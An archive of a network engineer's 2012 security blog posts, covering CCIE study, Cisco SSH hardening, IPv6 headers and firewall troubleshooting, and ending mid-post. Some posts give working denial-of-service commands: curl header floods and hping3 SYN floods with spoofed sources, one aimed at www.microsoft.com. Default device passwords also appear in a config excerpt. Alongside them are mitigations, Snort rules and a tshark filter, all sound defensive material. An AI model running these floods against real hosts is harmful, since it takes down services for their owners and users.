Thursday, December 27, 2012

Hacking around with the http header sizes and request type TRACE

A question came up on a case where a DoS attempts were made against a webserver, &  using a heavily modify http header. So I figure I would demonstrate such attack using curl.

In this case, the  attacker had a valid requests, but he had a few bogus header fields. So I got creative and figure let me show you how I would conduct that attack. In this case, I wanted to flood a server with a few additional headers that would be more than the average number expected from a client's browser. It's easy to conduct this testing, via curl and the -H option

e.g

curl -v "Host: "  -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing" -H "Host: www.victims.com"    --request TRACEKEN www.victims.com 


Since in HTTP 1/1 we can have a  header of unlimited size, but it has to have a valid http.request. In the above, my request was a simple "TRACEKEN". Which was a  play on the http.request.method TRACE and my first name KEN :)

Here's what my server replied upon receipt of that request;

 >
< HTTP/1.1 501 Method Not Implemented
< Date: Fri, 28 Dec 2012 00:09:19 GMT
< Server: Apache
< Allow: GET,HEAD,POST,OPTIONS,TRACE
< Content-Length: 220
< Cneonction: close
< Content-Type: text/html; charset=iso-8859-1
< Set-Cookie: NSC_qspmfyjd-209.200.154.11-80=ffffffffd2c09b0845525d5f4f58455e445a4a423660;expires=Fri, 28-Dec-2012 00:13:11 GMT;path=/;httponly
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Method Not Implemented</title>
</head><body>
<h1>Method Not Implemented</h1>
<p>TRACEKEN to /index.html not supported.<br />
</p>
</body></html>
* Connection #0 to host www.victim.com left intact
* Closing connection #0

It was smart enough to recognize TRACEKEN was not valid, but  it also kicked out a error code of the 5XX series, and even gave me a list of valid request that it could take ( see the allow: and boldline)

Hmm interesting?

So if I've increase the header size to some god only knows what, the server will  have to look at all of the header information in order to process

curl -v "Host: "  -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing" -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing" -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing" -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "Host: " -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "User-Agent:  testing"  -H "Host: www.victims.com" --request TRACEK www.victims.com


And in this example, it generate a  error code of 5XX ( not good )

  HTTP/1.1 501 Method Not Implemented
< Date: Fri, 28 Dec 2012 00:23:46 GMT
< Server: Apache
< Allow: GET,HEAD,POST,OPTIONS,TRACE
< Content-Length: 218
< Cneonction: close
< Content-Type: text/html; charset=iso-8859-1
< Set-Cookie: NSC_qspmfyjd-209.200.154.11-80=ffffffffd2c09b0945525d5f4f58455e445a4a423660;expires=Fri, 28-Dec-2012 00:27:38 GMT;path=/;httponly
< 

Now if I continued that line of approach & targeting,  and further exceed the limits within the http header. The server now gives me a 4XX code

< HTTP/1.1 400 Bad Request
< Date: Fri, 28 Dec 2012 00:24:49 GMT
< Server: Apache
< Content-Length: 290
< nnCoection: close
< Content-Type: text/html; charset=iso-8859-1
< Set-Cookie: NSC_qspmfyjd-209.200.154.11-80=ffffffffd2c09b0945525d5f4f58455e445a4a423660;expires=Fri, 28-Dec-2012 00:28:41 GMT;path=/;httponly
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
The number of request header fields exceeds this server's limit.</p>
</body></html>


btw:  I also tried that same http.request against my mail hosting outfit , and it gave me the same  error code of 4XX, but when the content was reduced, it just delivered a 301 redirection.

Here's example of the webserver response  ( microsoft), the same trace or traceken and a big header fields.

< HTTP/1.1 501 Not Implemented
< Content-Type: text/html
< Server: Microsoft-IIS/7.5
< Set-Cookie: .ASPXANONYMOUS=IFulQiUbzgEkAAAANmVmMzQxMjYtOWY0NS00NDI2LThjNmUtOTY1NDJmYzBlY2Fjxq6qN8WmCfVI5ORB_WjaZz3LHIU1; expires=Thu, 07-Mar-2013 11:16:48 GMT; path=/; HttpOnly
< Date: Fri, 28 Dec 2012 00:36:48 GMT
< Content-Length: 1508
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>501 - Header values specify a method that is not implemented.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>501 - Header values specify a method that is not implemented.</h2>
  <h3>The page you are looking for cannot be displayed because a header value in the request does not match certain configuration settings on the Web server. For example, a request header might specify a POST to a static file that cannot be posted to, or specify a Transfer-Encoding value that cannot make use of compression.</h3>
 </fieldset></div>
</div>


Happy hunting and the best of wishes for the DoS attacker and  DoS defenders.

Ken Felix
Freelance Security & Network Engineer
kfelix at hyperfeed dot com



Posted by at 4 comments:

Friday, December 21, 2012

CCIE LAB my basic ideals on areas of study

This page is some things that I looked at while doing my lab prep & my thoughts concerning the various technologies;

 ( good places to start )
Cisco dot com
INE blogs
http://packetlife.net/lab/
http://lostintransit.se/ 
http://www.davidsudjiman.info/ 
http://www.ipexpert.com/Cisco/CCIE/Routing-and-Switching/Free-Resources
My own lab gear  2x 3825ISR, 2x 1841ISR, 2x 3560, 1x 3550
http://www.gns3.net/

technologies I restudied since my written lab approx a year ago;

PPP auth
PPPoE client/server configurations
Time ACL
MPLS lab creation isnce my 1841ISR didn't have all true features of MPLS and BGPvpnv4
mPPP links since my routers where limited in slots or card interfaces
frame-relay switch
OSPF neighbors types
md5 auth EIGRP+OSPF
AAA configurations
PVLANS
EIGRP  routing
BGP MPLS vpnv4

Areas that I didn't focus that much time in or with;

BGP basic or advance routing
layer2 switchports
STP
VTP
ipv6 unicast 
ipv6-dynamic
OSPF routing
RIP routing
AS_PATH or Prefix-list creations
NTP
SNMP
NETFLOW ( I do that just about everyday in my current role ;)
logging local or remote
ssh , dhcp or other local services
802.1x
port-security
SPAN/port-mirror
vlan filtering


I hope this helps :)

Ken Felix
Freelance Network/Security Engineer
kfelix at hyperfeed dot com


Posted by at No comments:

cisco CCIE R/S 2nd attempt ( views from the seat )

My 2nd attempt at the CCIE R/S,  is less than  30days away. I plan to have my  number in Jan 2013, &  if all goes as plan. I can't  speak about the CCIE lab specifics, but here's some tips that I seen from my 1st attempt.


T-shoot

  • they have  all sorts of tickets & covering all sorts of topics. One should practice breaking things, in order to  learn how to fix them

During my studies, I crafted numerous numerous lab scenarios, covering a wide range of topics, and in this process of building my studies scenarios,  "I broke a lot things". This was great, cause it indirectly help me learn how to fix them.

So use GNS3 or your practice lab switches and routers, &  think of some scenario on how to  configure technology XYZ , and then learn how to fix them.
  • read all of the tickets fully!

Each ticket is written with the clear objective stated in the text of the ticket. Cisco tells you want's the problem, and what's the suspected outcome. Make sure you meet the suggested outcome. They will even tell you what and how to test the problem or show the suggested output in some cases. Make sure you follow this 100%.

  • the network layout, is broad and wide, so build a ideal of where you want to target , when reading the ticket and the problems, look at the  layout; left 2 right and then right 2 left. Make sure you  understand it.

The advice here is;

" when you look a ticket over, try to build a methodology on how you will tackle the problem".

Don't go in with guns a blazing and open up session to all devices, with the intention of looking at all switches and routers. Target what/where you think the problem is located at based on the symptoms and the layout, and then slowly work outwards.
  • use debug if you have to, but disable it when your done
Every experienced net-eng I've have work with in the last 16+ years,  have used debug at least more than once. Learn how to to use it , but that really means; "learn how to read the output"

Some times the output is clear, and will lead you straight to the problem. Other times you need to review the output and the console messages, and than proceed in the direct the error is pointing at.  Use debug, term mon and show log, there's no shame in enabling either one of these diagnostic monitors.



 The Practical-Lab

  • Study the questions, the layout and  the wiring schematics.  If they are not clear, ask for guidance or better yet clarity from the proctor. The Proctor WILL NOT PROVIDE YOU any technical guidance.

My 1st attempt was horrible with regards to the above. The lab is written very poorly, and specially when you think about it , and that cisco is a technology company. I give it a grade of C- in how well it was written.

READ the schematics, and READ them again. Items aren't very clear, but sometimes it might require you to read it 2, 3, 4 times to fully understand.

  • Work in order of the lab areas, as listed in the lab phamplet, follow objects in the order present, don't skip around
What that means, don't jump around. You have plenty of times to start from page 1 to page X.  You have to follow the main objectives &  before moving off to any laterals.
  • Freshen up on technologies that you don't use or ocassionaly use

What the above means; if your strong with BGP & use it everyday, and hardly use  EIGRP. Spend some time studying EIGRP. Get prepared!
  • get a good night sleep and eat well before your lab

The lab it's self is comfortable, and every second your in the lab, you ARE busy!

Time actually went by fast for me. I had a great  night sleep, and ate a small breakfast before exiting the hotel.  Try to  relax your body and mind, so you are not tense or nervous. When I went to RTP campus , and they let me bring in a few cans of RedBull  that I didn't even drink. I was literally busy from  07:00 to 16:00, with no breaks outside of lunch. Yes that's how busy you will be.

There's nothing to be nervous about in this practical lab. If your prepared, conduct some studies, and  review  the objectives you should be fine.

Well, wish me luck, cuz 2013 I'm getting my CCIE #.

Ken Felix
Freelance Network/Security Engineer
kfelix at hyperfeed dot com






Posted by at No comments:

Thursday, December 20, 2012

L4 syn-flooding ( a look at howto )


We will talk about   L4 syn-flood and tuning an attack machine to achieve the best flood performance.  L4 syn-floods are a common means of a DoS attack against a web service or any server that using tcp.

In this type of attack, a  attacker send SYN  request to the target and does not complete step #3 of the three-way tcp handshake. What this does; is to consume memory/processor/resources on the targeted server, creating a Denial of Service for legit users.

Base on the target system, you might have some means to place minimal mitigation  tweaking , to reduce the  impact of a syn-flood. On linux host for example,  that  can be control with the following system control option;

net.ipv4.tcp_syncookies=1
net.ipv4.conf.all.rp_filter = 1

The latter helps with handling spoof ip_addresses, or with  iptables  &  enabling  iptables rules rules to limit sessions. Most other systems have a few tweaks here or there.

All of these are local_on_host mitigation strategies, and the effectiveness is a hit or miss. Mainly a miss, but it’s better than nothing. The best  syn-flood protection is anything off host,  or even better yet a cloud mitigation provider, between you and the attacking sources.

Now to look at the attack from  the attacker point of view, and using  any of the well-known  DoS tools. I’m going to demonstrate via hping3 which is a common tool, but others exist such as;  t50 or mz. With the latter being my personal favorite btw.

1st we  need a system that runs the DoS tool. In my case, I’m using a computer.waffen (  computer weapon in german )  that’s based around a Dell Server and with 3.4ghz cpu , a heavily modified  linux kernel and nic drivers.

2nd  we need to tweak our systems ephemeral port ranges. These are the ranges of sockets that we open or commonly know as src_ports. The greater the range, allows us to really ramp the box up. Sysctl will allow us to set the port range

 net.ipv4.ip_local_port_range = 1024 65536

we also play around with socket reuse;

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle  =  1
 

Now that we have the systems ready to go, we can now deploy the computer.waffen we. Keep in mind, the  attacker machine is really limited by the following;

·      Cpu/memory
·      Ephemeral port range
·      Network bandwidth
·      Any network component in the network path between attacker and victim ( target )

To execute a basic  hping synflood at  web-server, we would do the following;

[root@computer01.waffen ~]# sysctl net.ipv4.ip_local_port_range
net.ipv4.ip_local_port_range = 32768    61000

[root@computer01.waffen ~]#sysctl -w  net.ipv4.ip_local_port_range=1024

[root@computer01.waffen ~]# sysctl net.ipv4.ip_local_port_range
net.ipv4.ip_local_port_range = 1024     61000

[root@computer01.waffen ~]#hping3 -S -p 80 --rand-source -i bond1  1.1.1.1

As you can see that host @ 1.1.1.1 port 80 will come under an L4-attack. This particular machine details;


[root@computer01.waffen]# cat cpuinfo |  grep "model" | head -n1
model           : 44

[root@computer01.waffen]# cat cpuinfo |  grep "model name" | head -n1
model name      : Intel(R) Xeon(R) CPU           X5690  @ 3.47GHz

[root@computer01.waffen]# cat cpuinfo |  grep "processor" | wc
     24      72     350

[root@computer01.waffen]# dmesg  | grep  "10 Gigabit"
ixgbe: Intel(R) 10 Gigabit PCI Express Network Driver - version 3.4.8-k
ixgbe 0000:04:00.1: Intel(R) 10 Gigabit Network Connection


Can you say ouch, if I was to attack you. Your day would be ruin.

This machine can deliver over 200-300mbps of attack traffic. Now try to picture your host, firewall or IPS , trying to defend against this. Better yet, a end-users ( client ) trying to reach your website , & while  your out  exhausting your staff towards the  defense against the flood.

Okay let’s look at some mitigation strategies outside or off the host;


·      Deploy a intercepting IPS and trigger RST to the server
·      Rate-limit icmp network unreachable on edge border routers
·      Rate-limit SYN sessions inbound at firewall
·      Hire a cloud mitigation company
·      Deploy rate-limits devices between firewall dmz and web-servers ( Aka SLB )

In all fairness, most major enterprise or online market places, deploy all  of the above. A properly organized  L4-syn-flood based attack, and no mitigation stance, will always  equal in to lower site availability number or higher latency.

I hope this has been informational and helpful in just one of many ways to create and mitigate L4 syn-floods attacks.

Ken Felix
Freelance Security Network Engineer
kfelix at    hyperfeed   dot   com 
 
Posted by at No comments:

changing ssh cisco IOS routers ports & hardening vty access

If you ever had a cisco router conneted to the public internet, you know that the port 22 or even 23 is always  probed ( please don't use telnet  :)  ),  and then you have ten millions wanna-bees trying to brute force or random hack user/passwords  like these;


    i.e:

   cisco/cisco
   cisco/password
   admin/password
   admin/administrator

Okay so how do you  provide remote access to your cisco IOS-router & allowed it to be open up, no matter from where ? And with some  w/ some degree  of hidden access ?

Will the fix is to use the;  ip ssh port "port-number" rotary "rotary-group-number" cmd


Okay simple, so let's look at the method, that I used. In my example, I'm using port number 22022. It's a easy number to remember, and only I know the router has a listener on that port, unless it was probed.

Yes an attacker could portscan my ports, but most are lazy and will look for  well-known-ports,  and will not  scan all 64K ports of a typical hosts.

So 1st I crafted a vty access-class  ACL name vtyacl;

step1:

     ip access-list extended vtyacl
        remark I left this open for ANY but could have restrict this to a certain network_space
        permit tcp any any eq 2022
    !

step2:

Install the ip ssh rotary cmd and assign a group, this group number will be applied later on.

        ip  ssh port 22022 rotary 1

step3:

Now apply the  vtyacl to your vty lines, to get an ideal of the number of lines, execute a cmd "show run | sec line " and this will show you the line vty ranges;

  router3825#sh run | sec line
   line con 0
   line aux 0
   line 130
   no activation-character
   no exec
   transport preferred none
   transport input all
   transport output lat pad telnet rlogin lapb-ta mop udptn v120 ssh



  line vty 0 4
     access-class vtyacl in
     rotary 1
     transport input ssh
  line vty 5 15
      access-class vtyacl in
      rotary 1
      transport input ssh
   line vty 16 924
      no exec
      transport input none

Notice we have lines vty 0 thru 924?
Also I disabled the  lines vty 16-924?

I did this to only allow up to 16 sessions at one sitting. I also applied the  transport input none , which really has no effect since the  no exec was enable on these other VTYs lines. This is equivalent to the  unix getty ( get teletype ) function being disable on a unix host.

When you try to  ssh at session #17, the router then will display the following;


router3825>ssh -p 22022 -l kfelix 1.1.1.253
% Connection refused by remote host

router3825>

 i.e ( 16 kfelixs logged into this router to show you the max users )

 router3825>sh users
    Line       User       Host(s)              Idle       Location
 578 vty 0     kfelix     1.1.1.253            00:00:00 1.1.1.1
 579 vty 1     kfelix     1.1.1.253            00:00:00 1.1.1.253
 580 vty 0/0/0 kfelix     1.1.1.253            00:00:00 1.1.1.253
 581 vty 0/0/1 kfelix     1.1.1.253            00:00:03 1.1.1.253
 582 vty 4     kfelix     1.1.1.253            00:00:00 1.1.1.253
 583 vty 5     kfelix     1.1.1.253            00:00:00 1.1.1.253
 584 vty 6     kfelix     1.1.1.253            00:00:00 1.1.1.253
 585 vty 7     kfelix     1.1.1.253            00:00:00 1.1.1.253
 586 vty 8     kfelix     1.1.1.253            00:00:00 1.1.1.253
 587 vty 9     kfelix     1.1.1.253            00:00:00 1.1.1.253
 588 vty 10    kfelix     1.1.1.253            00:00:00 1.1.1.253
 589 vty 11    kfelix     1.1.1.253            00:00:00 1.1.1.253
 590 vty 12    kfelix     1.1.1.253            00:00:00 1.1.1.253
 591 vty 13    kfelix     1.1.1.253            00:00:00 1.1.1.253
 592 vty 14    kfelix     1.1.1.253            00:00:00 1.1.1.253
*593 vty 15    kfelix     idle                 00:00:04 1.1.1.253

  

I hope this posting was useful for hardening  the cisco IOS for ssh access, and changing the  the default ssh port. As with any ssh services, please use a RSA key with modulus of 1024bits  or better, and always change your password on a regular basis.

how_to_enable_ssh


Ken Felix

Freelance Network Security Engineer
kfelix  " at " hyperfeed "dot" com






Posted by at No comments:

Monday, December 17, 2012

IPV6 header reviews

A lot of confusion on the ipv6 layer3  headers and the differences when compared to the classic ipv4.

The 1st thing one quickly notice, all IPv6 L3 headers are always  40bytes big. This helps with L3 inspection and any routing decision,  and now we only need to see the 1st 40bytes, to know the destination. Or inspect the 1st 40bytes, before we do anything else with the packet.

Next, ipv6 length means something different than what we expect in  ipv4 L3 header. It means payload as in the actual payload length, nothing more or less

Also we have next-header field, which indicates the next-header and is NOT a protocol field as what one  security members tried to school me on, who had no experience with  ipv6. It was classical at best , when they trying to explain it :)

And finally we have  this new field that we might have  a lot of questions about ; "flow labels".

Flowlabel: 0x00000000


This 20bit label along with the tos ( qos ) helps to determine what level if any QoS to apply or how do we treat these packets that make up that flow & sequence.

Flow label are reality new, and still being hashed out on how to deploy and it's practical use. I know linux supports the  injection of flow label information, but to be fair I don't think any downstream l3-ipv6 router would know what to do with them or even act on them ( cisco,brocade,juniper,etc...). In practicality, we have these fields mapped out with zeros as shown above in the bold.

Flow labels as I posted before, open up a router flow to be hack and labels manipulated in transit. Since encapsulation will not protect that field, I don't know how one can trust the labels as being authentication or authority of the labels from src to final destination.

The future will determine how we manipulate flow-label information between the application layer and l3-layer of a ipv6 and if routers/firewalls of the inet6  address-family will act on them.
more talks on ipv6 this week

"happy packet  hacking and forgery"

Ken Felix
Freelance Network/Security Engineer
kfelix at hyperfeed dot com
Posted by at No comments:

Sunday, December 16, 2012

cisco IOS zbfw t-shoot thoughts and tips

One thing that becomes challenging with  cisco zone based firewalls ; is the trouble-shooting. When using zbfw, we must be aware of the policies layout, and the access allowed.

If it's not allowed, you're not going anywhere.

Take this simple zbfw class+policy

 router3825#sh run | s class-map
class-map type inspect match-all icmp
 match protocol icmp
class-map type inspect match-all HTTP
 match protocol http
class-map type inspect match-any NAMtraffic
 match protocol telnet
 match protocol ssh
 match protocol http
 match protocol https
class-map type inspect match-any WEBtraffic
 description match any web traffic on default 80/443 ports
 match protocol http
 match protocol https
class-map type inspect match-all SSHfgt
 match access-group name fgt-management
class-map type inspect match-any POP
 match protocol pop3
 match protocol pop3s
 match protocol smtp
class-map type inspect match-any management-traffic
 description allow for  traffic to anything that we might manage
 match protocol ssh
 match protocol telnet
 match protocol snmp
 match class-map SSHfgt
class-map type inspect match-all NAMicmp
 description allow icmp thru
 match protocol icmp
class-map type inspect match-any ipsec-security
 description "for ipsec traffic from inside hosts nat-t,ike,esp,only "
 match access-group name ipsec-out
class-map type inspect match-all DNS
 match protocol dns
class-map type inspect match-all HTTPend

and


router3825#sh run | s policy-map
policy-map type inspect zp_in2nam
 class type inspect NAMtraffic
  inspect
 class type inspect NAMicmp
  inspect
 class class-default
  drop
policy-map type inspect zp_in2out
 class type inspect icmp
  inspect
 class type inspect HTTP
  inspect
 class type inspect POP
  inspect
 class type inspect management-traffic
  inspect
 class type inspect DNS
  inspect
 class type inspect WEBtraffic
  inspect
 class type inspect ipsec-security
  inspect
 class class-default
  drop

All traffic type that you want inspection for, must be included in the class-map type inspect and policy-map type inspect.

Traffic that does not run on well-known ports, needs to be carefully scrutinized and reviewed.


For example to allow ssh outbound to a none common port, I created a ACL list with the servers involved.

 Extended IP access list fgt-management
    10 permit tcp any host 38.xx.xx.2 eq 21022 (1 match)
    20 permit tcp any host 174.xx.xx.xx eq 21023
    30 permit tcp any host 50.xxx.xx.xx eq 21024

The above three lines are my fortigate firewalls that sits outside of my inside zone. Since theses ports involved ,are not normal SSH ports ( tcp/22) I used this custom ACL to allow traffic to the destinations.

The class-map that uses the above lines;

class-map type inspect match-all SSHfgt
 match access-group name fgt-management

vrs my standard management class-map;

class-map type inspect match-any management-traffic
 description allow for  traffic to anything that we might manage
 match protocol ssh
 match protocol telnet
 match protocol snmp
 match class-map SSHfgt

You notice how I nested a class-map within another class-map :)  So later on, when we define the inspect policy, we can now define inspection for all management-traffic class and inspect all management protocol destinations.

  class type inspect management-traffic
  inspect

This line above, will cause inspection for anything listed in management-traffic class, that we defined earlier on and above.

Becarefull of your  default class. It's typically set for drop and drop is the  best-practice, when building your architect and security policies.

 class class-default
  drop

If it was not defined with a proper action, than you should drop the traffic.

Now to debug a zbfw, we use any of the following debug cmds;


 router3825#debug  policy-firewall ?
  L2-transparent  Policy-Firewall transparent firewall debug
  control-plane   Policy-Firewall Control-plane debug
  detail          Policy-Firewall detailed debug
  events          Policy-Firewall events debug
  function-trace  Policy-Firewall function-trace debug
  list            Policy-Firewall Conditional debug
  mib             Debug IOS firewall MIB
  obj-creation    Policy-Firewall object creations debug
  obj-deletion    Policy-Firewall object deletions debug
  packet-path     Policy-Firewall packet-path debug
  protocol        Policy-Firewall protocol debug
  timers          Policy-Firewall timers related events debug



debug policy-firewall detail is probably the most commonly used debug option and will display very useful session info;

 *Dec 16 21:08:13.227: FIREWALL*: NEW PAK 694FA100 (0:1.1.1.2:56922) (0:74.124.125.120:80) tcp
*Dec 16 21:08:13.227: FIREWALL*: FSO feature object 0x70D08020 found
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: SIS_OPEN
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: Pak 0x694FA100 IP: s=72.xx.x.xx (GigabitEthernet0/0), d=74.124.145.120 (GigabitEthernet0/1), len 404, proto=tcp
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: L4 result: SKIP packet 0x694FA100 (72.xx.xx.xx:56922) (74.125.135.120:80) bytes 404 ErrStr = Retransmitted Segment
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: L4 inspection ret_val = 5l4_result->fw_dp_insp_err_code = 19session->appl_insp_flags = 1
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: Got a FW only session
*Dec 16 21:08:13.227: FIREWALL* sis 70D08020: L4 inspection returned 5

If you don't find matches in the firewall policy sesssion, than you need to revisit your class-map  and police for errors or if  you referenced  ACLs, police the src/dst and wildcard masks.

A few  other items to be aware of;

The  policy-map type inspect is an top down match, until a match is made, the default action is  handled by the class-default inspection. So keep that in mind when your dealing  10+ lines of  class-map and within the service-policy inspect.

Traffic in one zone, needs an inspect policy for the direction that the traffic originate. So in my above example, I have nothing defined in any of the external-2-inside zones. I'm only allowing and inspecting traffic from a in2out direction.

If you have any modules or other devices, they will need security zone configurations;

 e.g
router3825#sh ver | i nam                                
1 cisco nam sensor(s), nam monitoring on slot 2
 

router3825#sh running-config interface analysis-Module 2/0
Building configuration...

Current configuration : 179 bytes
!
interface Analysis-Module2/0
 description NAM login root/root webui admin/admin kfelix/
 ip address 22.22.22.1 255.255.255.252
 zone-member security nam
 hold-queue 60 out
end

router3825#sh zone-pair security source  inside destination nam
Zone-pair name in2nam
Description: zone for traffic from inside to NM-NAM
    Source-Zone inside  Destination-Zone nam
    service-policy zp_in2nam
              
router3825#sh zone-pair security source nam destination inside
router3825#

Notice how I don't have any thing for the NAM-to-inside direction.  But I do have a security zone name nam and a zone-pair for in2nam.

Lastly, a interface can only be in one zone-member,  BUT can be in multiple zone-pairs.


To wrap up, zbfw is interesting and simpler for a ios-engineer than a cisco ASA, but be aware of class-map, inspect types within your policy, and the proper zone-pairing. ZBFW is also easier to t-shoot and configure than CBAC imho.

Ken Felix
freelance network security engineer
kfelix at hyperfeed dot-com

Posted by at No comments:

Synflooding using hping and with payload

A very common L4 attack method, used against any tcp-services;  "is a  syn-flood attack". With this attack , we try to exhaust  tcp sessions and the resources of a destination server. Hping, t50, and mausezahn are all great tools for crafting this type of attack. In this scenario, I'm using  hping to attack a virtual hosts @ ip_address of 1.1.1.1 tcp/80.

The switch for this type of attack is simple;

 hping -a "insertmyspoofaddress"  -S -d 500 -p 80  -i em0 1.1.1.1

The above tells hping to conduct a synflood, but also to set the data and size at 500bytes, and  use a spoof'd address ( -a ) against the target host 1.1.1.1  and port 80.

I could  have also use random spoof'd address ,which is more typical for this type of attack;

hping  --rand-source -S -d 500 -p 80 -i em0 www.microsoft.com
( yes I hate windows :) )

NOTE: You will need super-user or root on the atatcking host, due to the permissions  with opening ports greater than 1024 or you will get the following errors,

 $ hping -a -S -d 500 -p 80 -i em0 1.1.1.1
[open_sockraw] socket(): Permission denied
[main] can't open


Okay simple, now why would one do this?

Easily to exhaust services on a host and the fact that most firewall will allow this type of traffic thru unchallenged. Due to  this above gap,  and with no mitigation or alerting device, you are susceptible to a simple L4 attacks. The data payload that attached to this attack, could also flood the target destination and cause issues within the attacked network monitoring systems.

This type of attack,  is not as effective when a CDN or SLB is in place. Since these systems would distributed traffic amongst all available servers  at that edge-server ( CDN) or all active  & up real-servers mapped on the SLB, thus reducing the impact to just one host ip_address.

To mitigate this attack you have a choice of options but the most easiest is to apply a filter that says, if any SYN packet or even SYN-ACK arrives with a payload to drop the datagram. You can do this on most firewall or better yet on a IDS/IPS system.


e.g

 
! kfelix snort rules LOCATION SEATTLE

 
var INTERNALNET01 217.x.x.0/24

var HTTP 80
var HTTPS 443
var MAIL 25 
var POP  110 
var EXTERNAL_NET !$INTERNALNET01





alert tcp $EXTERNAL_NET any -> $INTERNALNET01 any ( flags: A; dsize: 1<>1460; msg:"SYN with data";)
alert tcp $EXTERNAL_NET any -> $INTERNALNET01 any ( flags: SA; dsize: 1<>1460; msg:"SYN ACK with data";) 


So know we have some type of protection from SYN floods-atatcks, and  within SYN or SYN_ACK floods and if any data payload is present. I would use a snort.rule checker like porcus, to validate the rule before submitting and loading. But the above will give you a basic ideal on how to alert on packets of this nature.

You could  have done the same for any FIN, and FIN-ACK datagrams.

Now to detect, you can use  wireshark or tshark to monitor;

tshark  -n -i eth1  'tcp[13]==2' -R 'tcp.len >0'

I hope you found this post helpful, &  happy  packet forging

Ken Felix
Freelance Network Security Engineer
kfelix at hyperfeed dot com



Posted by at No comments:

Thursday, December 13, 2012

Create a dummy files using dd

Let's explore creating files using the unix dd feature. Unix dd utility is a diskduplicator and you can create  bogus files that later you can use ethically or unethically within certain packet forge scenarios

For example, if you wanted to create a file & with that data,  appended to maybe hping ( -E ) or with sendip ( -f)  as a payload.  So let's say I want a random data in a file 1meg big. We could easily craft this using cmds

